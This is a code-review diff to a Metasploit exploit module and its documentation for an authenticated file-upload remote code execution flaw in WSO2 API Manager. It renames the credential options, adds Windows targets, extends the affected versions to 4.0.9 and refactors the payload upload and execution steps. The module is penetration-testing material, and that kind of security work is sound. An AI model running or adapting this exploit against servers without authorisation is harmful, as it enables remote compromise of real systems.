Apply suggestions from code review

Author: heyder

documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md

@@ -60,11 +60,11 @@ exit
 
 ## Options
 
-### USERNAME (required)
+### HttpUsername (required)
 
 The username to authenticate with.
 
-### PASSWORD (required)
+### HttpPassword (required)
 
 The password of the user to authenticate with.
 

modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb

@@ -37,7 +37,7 @@ def initialize(info = {})
           'SSL' => true,
           'RPORT' => 9443
         },
-        'Platform' => %w[linux],
+        'Platform' => %w[linux win],
         'Arch' => ARCH_JAVA,
         'Privileged' => false,
         'Targets' => [
@@ -47,7 +47,7 @@ def initialize(info = {})
           [
             'WSO2 API Manager (3.1.0 - 4.0.0)', {
               'min_version' => '3.1.0',
-              'max_version' => '4.0.0',
+              'max_version' => '4.0.9',
               'api_version' => 'v2'
             },
           ],
@@ -201,11 +201,9 @@ def authenticate
       fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3
     end
 
-    if bearer
-      print_good('Authentication successful')
-    else
-      fail_with(Failure::UnexpectedReply, 'Authentication attempt failed')
-    end
+    fail_with(Failure::UnexpectedReply, 'Authentication attempt failed') unless bearer
+
+    print_good('Authentication successful')
   end
 
   def list_product_api
@@ -259,7 +257,7 @@ def create_api
           'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/"
         },
         'production_endpoints' => {
-          'url' => "https://#{target_uri.host}:9443/am/#{Faker::Internet.slug}/v1/api/"
+          'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/"
         }
       },
       'operations' => [
@@ -322,9 +320,9 @@ def create_product_api
     return res.get_json_document
   end
 
-  def create_document(api_id, doc_name)
+  def create_document(api_id)
     doc_data = {
-      'name' => doc_name,
+      'name' => Rex::Text.rand_text_alpha(4..7),
       'type' => 'HOWTO',
       'summary' => Faker::Lorem.sentence,
       'sourceType' => 'FILE',
@@ -378,20 +376,18 @@ def execute_payload
       'method' => 'GET'
     )
 
-    if res&.code == 200
-      print_good('Payload executed successfully')
-      handler
-    else
-      fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed')
-    end
+    fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') unless res&.code == 200
+
+    print_good('Payload executed successfully')
+
+    handler
   end
 
   def exploit
-    doc_name = Rex::Text.rand_text_alpha(4..7)
     authenticate unless bearer
     api_avaliable = list_product_api
     api_avaliable.each do |product_api|
-      doc_id = create_document(product_api['id'], doc_name)
+      doc_id = create_document(product_api['id'])
       next unless doc_id
 
       res = upload_payload(product_api['id'], doc_id)